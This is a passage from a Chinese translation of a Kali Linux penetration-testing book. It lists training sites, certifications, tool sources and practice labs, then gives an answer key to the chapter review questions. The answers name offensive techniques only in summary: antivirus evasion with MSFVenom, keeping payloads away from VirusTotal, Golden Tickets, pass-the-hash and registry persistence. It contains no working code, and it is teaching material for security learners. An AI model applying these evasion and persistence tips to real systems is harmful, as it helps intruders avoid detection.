Web 应用程序语言(Java、PHP、HTML 等)
-
数据库连接
-
框架和特定应用程序(Sharepoint,IIS 等)
在这个领域提升你的技能意味着要对各种网络应用程序语言有很好的理解。你需要了解诸如 HTTP/HTTPS 等协议的工作原理,以及各种攻击,如 SQL 注入和跨站脚本的工作原理。在本书中,我们已经涵盖了这些主题,但每个主题还有更深入的内容。
在线培训
让我们来看看存在的各种资源,你可以利用这些资源来扩展你在渗透测试方面的知识。我们将涵盖各种在线培训提供商,一些免费的,一些付费的。除此之外,还有很多其他资源可用;我发现后面列出的资源对于在渗透测试方面建立良好的基础非常有益。
Cybrary
Cybrary 免费提供大量与网络安全相关的培训。有一个不断开发新课程的活跃社区,材料的质量很高。Cybrary 利用来自各个领域和公司的专家来开发培训材料。
Cybrary 可以通过以下网址访问:www.cybrary.it/。
Pentester Academy
Pentester Academy 提供专注于特定领域的各种动手课程。例如,他们的一些课程专注于 Python、Metasploit、PowerShell 等。在线实验室可供使用,你可以在学习不同课程的同时练习你的技能。
Pentester Academy 不是免费服务,而是采用订阅模式。没有长期合同,截至目前,价格从第一个月开始是 99 美元,之后每月 39 美元。Pentester Academy 可以通过以下网址访问:www.pentesteracademy.com/。
Pentesterlab
Pentesterlab 是一个简单直接的在线资源。它提供虚拟镜像,并附带可以用来测试漏洞的练习。这使你能够了解漏洞以及如何在渗透测试中应用你的知识。
Pentesterlab 有免费和付费资源。他们采用订阅模式,目前的价格是每月 19 美元。Pentesterlab 可以通过以下网址访问:pentesterlab.com/。
认证
一旦你掌握了知识,你需要一些东西来展示这些知识——这就是认证发挥作用的地方。随着你在渗透测试技能方面的进步,你可以努力获得一些认证。以下提供商提供了各种认证,可以帮助你在渗透测试领域建立你的知识和技能。
eLearnSecurity
eLearnSecurity 提供广泛的专注于渗透测试的认证。他们定义了指导你达到特定目标的培训路径。例如,网络渗透测试师的培训路径从网络渗透测试的基础知识开始,最终带你到网络渗透测试的红队和操作的高级方面。
作为基础的一部分,他们的认证是 eJPT。这个认证是 100%实践的,不使用多项选择题。考试基于一个模拟真实场景的网络,你必须在规定的时间内对网络进行渗透测试。认证的培训全部在线进行,可以访问设计用来提高你在每个主题中技能的实验室。
目前,该认证侧重于以下技能:
-
TCP/IP 和 IP 路由
-
局域网协议、设备和网络漏洞评估的知识
-
HTTP、Web 技术和 Web 应用程序漏洞评估的知识
-
渗透测试流程和方法论
-
使用 Metasploit 进行利用
-
信息收集、扫描和目标分析
培训路径可以通过以下网址访问:www.elearnsecurity.com/training_paths/。
攻击性安全
攻击性安全认证在安全社区中备受尊重。他们的认证考试过程非常严格和极具挑战性。考试基于场景,需要在规定的时间内完成。他们提供基于网络、Web、无线和利用的培训和认证。
在渗透测试社区中经常见到的认证是 Offensive Security Certified Professional(OSCP)。考试是实践性的,需要在 24 小时内完成!在考试中,你需要运用从培训材料中学到的技能来执行各种任务。
可以通过以下网址访问一份攻击性安全认证和培训的列表:www.offensive-security.com/。
全球信息保障认证(GIACs)
GIAC 认证也是安全社区中备受尊重的认证之一。他们提供跨多个领域的认证,如渗透测试、网络防御、事件响应等。
这些认证的培训由 SANS 负责,他们在网络安全领域领导了许多倡议。
可以在以下网址找到 GIAC 提供的渗透测试认证列表:www.giac.org/certifications/pen-testing。
工具包维护
在这本书中,我们涵盖了 Kali Linux 的大部分内置工具。这些工具得到维护,并定期发布更新。
关于未内置的工具,它们在 Github 上进行维护。因此,保持它们更新只需要拉取新版本。
你可能想知道在这本书中没有讨论的其他工具在哪里可以找到。互联网上有许多网站会发布新工具的更新列表。
一些最常见的包括以下内容:
-
SecLists:
www.darknet.org.uk/ -
KitPloit – 渗透测试和黑客工具:
www.kitploit.com -
r00t_1337:
r00t1337.blogspot.com
人们经常在 Github 存储库中发布一系列工具;通过简单的谷歌搜索就可以找到这些工具。
有意使资源易受攻击
随着你在渗透测试领域的知识不断巩固,你需要不断测试你的技能和任何发布的新工具。为此,你需要一个实验室环境。然而,使用自己的实验室并不具有挑战性,因为一段时间后,你将了解你的实验室的内部运作。为了将你的知识付诸实践,你需要专注于不同系统的多个实验室环境。你可以利用互联网上已经提供的实验室,而不是为每个实验室建立一个实验室。
在寻找新挑战并增加您的知识和技能方面,有两个非常方便的资源。这些资源是 Vulnhub 和 Hack The Box。
Vulnhub
Vulnhub 通过利用社区构建的易受攻击的机器,实现了实际的动手学习。Vulnhub 免费提供虚拟机器;您只需下载虚拟镜像并在您的 hypervisor 上运行即可。
Vulnhub 的美妙之处在于有可用于虚拟机器的攻略,因此,如果您卡住了,您总是可以参考它们。
Vulnhub 可以通过以下 URL 访问:www.vulnhub.com/。
Hack The Box
Hack The Box 是一个允许您在线测试渗透测试技能的平台。它有许多易受攻击的盒子和挑战。易受攻击的盒子在难度上有所不同,这使您能够大大提高您的技能。访问这些盒子是通过 VPN 处理的,您需要在访问盒子之前连接到 VPN。
Hack The Box 有免费和 VIP 选项。在免费版本中,机器在一段时间后被退役。VIP 选项,目前每月费用为 10 美元,可以访问以下功能:
-
完全访问所有已退役的盒子
-
较少拥挤的实验室
-
获取已退役盒子的官方攻略
Hack The Box 有一个限制——您需要自己入侵。第一个挑战是获取邀请码,以便您能够注册 Hack The Box 的帐户。
Hack The Box 可以通过以下 URL 访问:www.hackthebox.eu。
摘要
随着网络安全的发展,攻击者也在发展。这意味着作为渗透测试人员,您需要跟上网络安全领域的最新动态。跟上最新动态意味着从知识和技能方面不断发展。
在本章中,我们看了一些渗透测试领域和相关知识要求,阐述了渗透测试涉及的不仅仅是盲目运行工具。我们看了一些可用的资源,可以用来扩展您的知识,并可以努力工作的认证。我们看了如何跟上最新发布的工具。最后,我们看了在哪里获取和访问易受攻击的机器,以测试您的技能。
第十五章:评估
第一章:渗透测试简介
-
渗透测试旨在在攻击者能够利用它们之前以受控的方式识别漏洞。
-
PTES 和 NIST SP800-115。
-
范围界定了许多重要主题,例如测试内容,业务目标,渗透测试的持续时间等。
-
STRIDE 和 VAST。
-
Metasploitable 专注于提高您使用 Metasploit 的技能。它还更加关注操作系统和网络层。
第二章:开始使用 Kali Linux
-
Kali Linux 默认包含超过 100 种工具。
-
Kali Linux 可以使用
.iso镜像文件安装,也可以使用预构建的虚拟机安装。 -
apt update && apt upgrade。 -
使用
systemctl start [service]。 -
Nmap,John the Ripper,Burp Suite。
第三章:执行信息收集
-
被动信息收集涉及使用公开可访问的数据,而主动信息收集涉及与目标系统的交互。
-
Shodan 和 Maltego。
-
Nmap 允许您进行利用 Nmap 脚本引擎的漏洞扫描。
-
OpenVAS 和 Nessus。
-
执行数据包捕获允许您查看数据包在网络中传输时的原始数据。一些数据包可能会暴露数据,例如明文密码和其他有趣的信息。
第四章:精通社会工程学
-
这是对一个人的心理操纵,从而说服他们放弃敏感信息。
-
相信人是人的天性。
-
假托。
-
网络钓鱼和鱼叉式网络钓鱼。
-
没有必要克隆任何网站;Modlishka 是一个反向代理工具,允许您以明文捕获凭据。
第五章:深入了解 Metasploit 框架
-
规避模块和库。
-
辅助和利用。
-
Nmap 和 Nessus。
-
Exploit-DB 和 Rapid7。
-
绑定 shell 需要您连接到它以获取 shell,而反向 shell 会将连接推送回攻击机器。
第六章:理解密码攻击
-
通过从公开可访问的文档中提取元数据。
-
配置文件允许您调整您的单词列表,使其特定于您的目标,从而消除了使用耗时的大型单词列表的需要。
-
John the ripper。
-
在线密码攻击针对活动的基于网络的服务,这会增加检测风险。离线密码攻击是在提取密码并可以在单独的系统上破解时进行的。
-
使用驻留在内存中的工具不会将任何内容写入磁盘,这比使用将数据写入磁盘的工具更隐蔽。
第七章:使用 Burp Suite
-
Burp Suite 代理是核心。这使 Burp Suite 能够作为拦截代理运行,从而使 Burp Suite 内的所有工具都能正常运行。
-
此扫描分析现有请求和响应的漏洞。它不会向 Web 应用程序提交任何请求,因此消除了可以检测到的噪音量。
-
这用于手动操纵 HTTP 请求的重新发出。您可以利用中继器检查如果修改了 HTTP 请求,输出会是什么,例如,通过使用 SQL 注入攻击。
-
集群炸弹提供了最全面的结果,但也是最耗时的,取决于所使用的单词列表。
-
通过使用 BApp Store 或可以加载到 Burp Suite 中的第三方扩展。
第八章:攻击 Web 应用程序
-
单页应用程序(SPA)。
-
HTTP 不安全;数据以明文发送。HTTPS 使用 SSL 通过安全隧道提交数据。
-
引荐者字段可以被修改。
-
跨站脚本和 SQL 注入攻击。
-
Metasploit 框架。
第九章:开始进行无线攻击
-
管理,控制和数据。
-
接入点的 SSID,安全功能和 MAC 地址。
-
WPA 仍然使用 WEP 作为加密算法。WPA2 还使用更强大的 AES 加密。
-
Rogue Access Points,Evil Twin,Frame injection 和 WPA2 密钥破解。
-
Airgeddon,
airodump-ng和aireplay-ng。
第十章:横向移动和提升权限
-
横向移动和权限提升。
-
Mimikatz 和 Metasploit 框架。
-
Mimikatz,Powershell 和 Python。
-
这种攻击涉及使用帐户的 NTLM 哈希,该哈希可用于对帐户具有访问权限的资源进行身份验证。
-
此帐户用于在 Active Directory 域内签署所有 Kerberos 票证。入侵它将允许您创建一个 Golden Ticket。
第十一章:防病毒逃避
-
防病毒软件不再仅仅用于保护免受病毒侵害 - 它们现在可以完全查看端点,包括进程和内存。
-
编码和自定义编译。
-
MSFVenom,Veil 和 TheFatRat。
-
与使用工具生成的负载相比,负载的检测率较低。
-
永远不要将其提交给 VirusTotal,因为 VirusTotal 会将结果提交给防病毒制造商以增强其检测能力。
第十二章:在环境中保持控制
-
当目标系统重新启动时,反向外壳可能会丢失,或者被利用的漏洞可能会被修补。保持访问权限消除了重新利用系统的需要。
-
APT 是高级持续威胁。这种类型的威胁有能力在被发现之前在目标系统上保持访问权限数月。
-
使用特洛伊木马和 C2 服务器的后门。
-
利用现有操作系统工具执行任务的能力,例如在 Windows 操作系统中使用 PowerShell。
-
HKLM 包含在系统启动时运行的注册表键;HKCU 包含在用户登录时运行的注册表键。
第十三章:报告和行动您的发现
-
渗透测试报告允许您向负责推动修复工作以减少其环境安全风险的利益相关者传达有关已发现问题的重要信息。
-
执行部分将包含渗透测试的高级视图,以及发现和风险评级的高级概述。技术部分将深入探讨技术细节,您将在其中讨论使用的工具,采取的路径以及发现的漏洞,以及修复建议。
-
Dradis。
-
开放式 Web 应用程序安全项目(OWASP)。
-
通过限制高特权帐户访问较低信任系统并随机化本地管理员帐户来练习良好的凭据卫生。